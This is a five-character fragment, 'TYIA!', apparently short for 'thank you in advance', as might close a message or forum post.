TYIA!